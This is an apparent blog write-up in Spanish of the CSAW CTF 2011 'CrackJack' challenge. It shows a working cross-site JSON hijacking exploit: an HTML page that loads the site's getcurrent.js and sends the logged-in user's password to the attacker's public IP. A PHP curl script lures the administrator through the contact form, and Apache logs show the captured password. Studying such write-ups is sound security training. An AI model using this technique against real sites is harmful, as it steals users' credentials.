CrackJack - 500 Points
Analizando el fuente HTML, encontramos codigo AJAX JSON, vulnerable a un ataque CSRF, que devuelve el password del usuario logueado, exactamente en la siguiente URL: http://csawctf.poly.edu:40004/challenge2/json/getcurrent.js (localmente http://192.168.4.4/challenge2/json/getcurrent.js).
Preparamos y publicamos el codigo para explotar dicha vulnerabilidad (cedido por @g30rg3_x):
cat.html:
<!DOCTYPE html>
<html>
<head>
<style>
p {
border: solid 1px;
}
</style>
</head>
<body>
<p>
<script src="http://192.168.4.4/challenge2/json/getcurrent.js" type="text/javascript">
</script>
<script type="text/javascript">
document.location="http://my_public_ip/cat.html?"+current.password;
</script>
</p>
</body>
</html>
Luego enviamos el formulario de contacto via POST para que el administrador, logueado en el site nos envie su pass:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=f9r3bd72q2rkidj6vls1gvf6h3");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, 'http://csawctf.poly.edu:40004/challenge2/contact.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=chucknorris&message=Picture cat programming en ajax!\r\nhttp://my_public_ip/cat.html\r\n&submit=send!");
$data = curl_exec($ch);
echo $data;
?>
Solo resta esperar, observando los logs de Apache donde se publico el XSS:
128.238.66.100 - - [25/Sep/2011:20:08:26 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"
128.238.66.100 - - [25/Sep/2011:20:08:27 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"
128.238.66.100 - - [25/Sep/2011:20:08:27 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"
Con la key 2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 nos logueamos con el usuario 'administrator' y obtenemos el flag.
No hay comentarios:
Publicar un comentario en la entrada